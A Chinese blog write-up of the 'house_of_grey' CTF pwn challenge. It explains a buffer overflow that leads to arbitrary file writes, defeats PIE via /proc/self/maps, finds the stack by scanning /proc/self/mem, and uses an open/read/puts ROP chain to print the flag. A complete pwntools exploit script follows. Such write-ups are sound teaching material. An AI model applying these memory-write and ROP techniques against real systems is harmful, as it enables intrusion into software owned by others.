攻防世界PWN之house_of_grey题解

161 篇文章 9 订阅
161 篇文章 9 订阅

house_of_grey

首先,检查一下程序的保护机制,发现保护全开

然后,我们用IDA分析一下

发现是一个读取文件并显示的程序,除了flag文件,其他文件都可以读取

程序有个缓冲区溢出漏洞

可以溢出,修改v8指针,然后我们就可以利用功能4,实现任意地址写

由于可以读取除了flag之外的文件,那么我们可以读取/proc/self/maps文件

Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。/proc/self/mem是进程的内存内容通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。

同样的,我们也可以通过写入mem文件来直接写入内存,例如直接修改代码段,放入我们的shellcode,从而在程序流程执行到这一步时执行shellcode来拿shell

那么,我们先来测试一下

我们得到了各个段的地址,由此,我们可以绕过PIE,以及利用/proc/self/mem来读取任意地址的内容。

为了确定本程序能否getshell,我们检测一下execve系统调用有没有被禁用

发现execve被禁用,那么我们就不能用system这些来getshell,我们可以构造ROP,把flag文件读取到内存中,再输出来。

然后,我们再看看程序

程序最后有一个exit(0),由此,覆盖fn函数的返回地址来构造ROP不可行,我们可以覆盖read函数的返回地址,也就是调用read任意写时,把自己的返回地址给覆盖了,这样ROP写入后就直接开始执行了。为了覆盖read的返回地址,我们就需要确定栈的地址。

但是,由于程序是clone出来的,第三个参数指定了clone出的进程的栈地址,程序一开始用mmap映射了一段内存,然后取了其中的一个随机的位置传给了clone,由此,我们不知道程序的栈地址。但是,我们可以通过读取/proc/self/mem文件,来搜索标记,已确定程序的栈地址。

标记就是”/proc/self/maps”字符串,因为buf里保存了这个字符串,当我们在内存中搜索到这个字符串时,当前位置就是buf的栈地址,由此,我们就可以计算出其他的栈地址。

那么,我们先来获取一些需要的地址信息

  1. enterRoom()  
  2. setPath('/proc/self/maps')  
  3. readSomething(2000)  
  4. sh.recvuntil('You get something:\n')  
  5. #解析程序的加载地址,以及mmap内存出的地址  
  6. elf_base = int(sh.recvuntil('-').split('-')[0],16)  
  7. pop_rdi = elf_base + pop_s_rdi  
  8. pop_rsi = elf_base + pop_s_rsi  
  9. open_addr = elf_base + open_s_plt  
  10. read_addr = elf_base + read_s_plt  
  11. puts_addr = elf_base + puts_s_plt  
  12.   
  13. while True:  
  14.    line = sh.recvline()  
  15.    if 'heap' in line:  
  16.       #接下来这一行就是mmap出的内存的信息  
  17.       line = sh.recvline()  
  18.       mmap_start = int(line.split('-')[0],16)  
  19.       mmap_end = int(line.split('-')[1].split(' ')[0],16)  
  20.       break  
  21.   

接下来,我们就需要读取/proc/self/mem来搜索内存,确定栈地址了

程序只能执行30次功能调用,之前已经用了4次,最后我们还需要用2次,那么我们搜索就最多24次,

而我们每次最多允许读取100000个字节的数据,由此,我们能搜索2400000个字节的内容,通过IDA调试,观察buf的栈地址,计算它与mmap_end的值的差值,做一个大致的范围,由于栈是从高往低增长的,因此,我们应该从mmap_end – x ~ mmap_end搜索,其中x是一个范围。

那么,我们就开始搜索吧

  1. #现在解析出clone的那个程序的stack地址  
  2. stack_end = mmap_end  
  3. stack_start = mmap_start  
  4.   
  5. #范围偏差  
  6. offset = 0xf800000  
  7. #区间范围begin_off~stack_end里搜索  
  8. begin_off = stack_end - offset - 24 * 100000  
  9. setPath('/proc/self/mem')  
  10. seekTo(begin_off)  
  11. print 'begin->',hex(begin_off),'to',hex(stack_end)  
  12. #在内存的范围内搜索,如果找到了/proc/self/mem这个字符串,说明当前地址就是buf的栈地址  
  13. for i in range(0,24):  
  14.    readSomething(100000)  
  15.    content = sh.recvuntil('1.Find ')[:-7]  
  16.    if '/proc/self/mem' in content:  
  17.       print 'found!'  
  18.       arr = content.split('/proc/self/mem')[0]  
  19.       break  
  20. if i == 23:  
  21.    print '未能成功确定v8的地址,请重试!'  
  22.    exit(0)  
  23.   
  24. #获得了v8的地址,可以将它里面的内容,实现任意地址写  
  25. v8_addr = begin_off + i * 100000 + len(arr) + 5  
  26. print 'v8 addr=',hex(v8_addr)  
  27. read_ret = v8_addr - 0x50  

现在,得到了存放read的返回地址的栈地址,我们就可以写ROP了

  1. #覆盖v8指针内容为存放read返回地址的栈地址  
  2. payload = '/proc/self/mem'.ljust(24,'\x00') + p64(read_ret)  
  3. setPath(payload)  
  4. #接下来,我们可以写rop(v8_addr-24+15处就是/home/ctf/flag字符串)  
  5. rop = p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(pop_rsi) + p64(0) + p64(0) + p64(open_addr)  
  6. #我们打开的文件,描述符为6  
  7. rop += p64(pop_rdi) + p64(6) + p64(pop_rsi) + p64(read_ret + 15 * 8) + p64(0) + p64(read_addr)  
  8. rop += p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(puts_addr)  
  9. rop += '/home/ctf/flag\x00'  
  10.   
  11. giveSomething(rop)  

然后,我们就得到了flag

综上,我们的exp脚本如下

  1. #coding:utf8  
  2. from pwn import *  
  3.   
  4. sh = process('./pwnh35')  
  5. #sh = remote('111.198.29.45',37518)  
  6. elf = ELF('./pwnh35')  
  7. libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')  
  8. open_s_plt = elf.plt['open']  
  9. read_s_plt = elf.plt['read']  
  10. puts_s_plt = elf.plt['puts']  
  11. #pop rdi  
  12. #pop r15  
  13. #retn  
  14. pop_s_rsi = 0x1821  
  15. #pop rdi  
  16. #retn  
  17. pop_s_rdi = 0x1823  
  18.   
  19. def enterRoom():  
  20.    sh.sendlineafter('Do you want to help me build my room? Y/n?\n','Y')  
  21.   
  22. def setPath(content):  
  23.    sh.sendlineafter('5.Exit\n','1')  
  24.    sh.sendlineafter('So man, what are you finding?\n',content)  
  25.   
  26. def seekTo(pos):  
  27.    sh.sendlineafter('5.Exit\n','2')  
  28.    sh.sendlineafter('So, Where are you?\n',str(pos))  
  29.   
  30. def readSomething(length):  
  31.    sh.sendlineafter('5.Exit\n','3')  
  32.    sh.sendlineafter('How many things do you want to get?\n',str(length))  
  33.   
  34. def giveSomething(content):  
  35.    sh.sendlineafter('5.Exit\n','4')  
  36.    sh.sendlineafter('content:',content)  
  37.   
  38. enterRoom()  
  39. setPath('/proc/self/maps')  
  40. readSomething(2000)  
  41. sh.recvuntil('You get something:\n')  
  42. #解析程序的加载地址,以及mmap内存出的地址  
  43. elf_base = int(sh.recvuntil('-').split('-')[0],16)  
  44. pop_rdi = elf_base + pop_s_rdi  
  45. pop_rsi = elf_base + pop_s_rsi  
  46. open_addr = elf_base + open_s_plt  
  47. read_addr = elf_base + read_s_plt  
  48. puts_addr = elf_base + puts_s_plt  
  49.   
  50. while True:  
  51.    line = sh.recvline()  
  52.    if 'heap' in line:  
  53.       #接下来这一行就是mmap出的内存的信息  
  54.       line = sh.recvline()  
  55.       mmap_start = int(line.split('-')[0],16)  
  56.       mmap_end = int(line.split('-')[1].split(' ')[0],16)  
  57.       break  
  58.   
  59. #现在解析出clone的那个程序的stack地址  
  60. stack_end = mmap_end  
  61. stack_start = mmap_start  
  62.   
  63. #范围偏差  
  64. offset = 0xf800000  
  65. #区间范围begin_off~stack_end里搜索  
  66. begin_off = stack_end - offset - 24 * 100000  
  67. setPath('/proc/self/mem')  
  68. seekTo(begin_off)  
  69. print 'begin->',hex(begin_off),'to',hex(stack_end)  
  70. #在内存的范围内搜索,如果找到了/proc/self/mem这个字符串,说明当前地址就是buf的栈地址  
  71. for i in range(0,24):  
  72.    readSomething(100000)  
  73.    content = sh.recvuntil('1.Find ')[:-7]  
  74.    if '/proc/self/mem' in content:  
  75.       print 'found!'  
  76.       arr = content.split('/proc/self/mem')[0]  
  77.       break  
  78. if i == 23:  
  79.    print '未能成功确定v8的地址,请重试!'  
  80.    exit(0)  
  81.   
  82. #获得了v8的地址,可以将它里面的内容,实现任意地址写  
  83. v8_addr = begin_off + i * 100000 + len(arr) + 5  
  84. print 'v8 addr=',hex(v8_addr)  
  85. read_ret = v8_addr - 0x50  
  86. #覆盖v8指针内容为存放read返回地址的栈地址  
  87. payload = '/proc/self/mem'.ljust(24,'\x00') + p64(read_ret)  
  88. setPath(payload)  
  89. #接下来,我们可以写rop(v8_addr-24+15处就是/home/ctf/flag字符串)  
  90. rop = p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(pop_rsi) + p64(0) + p64(0) + p64(open_addr)  
  91. #我们打开的文件,描述符为6  
  92. rop += p64(pop_rdi) + p64(6) + p64(pop_rsi) + p64(read_ret + 15 * 8) + p64(0) + p64(read_addr)  
  93. rop += p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(puts_addr)  
  94. rop += '/home/ctf/flag\x00'  
  95.   
  96. giveSomething(rop)  
  97.   
  98. sh.interactive()  

本题,我对maps和mem文件有了进一步的了解,其中maps文件里有程序的加载地址信息,mem是程序的内存映射。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值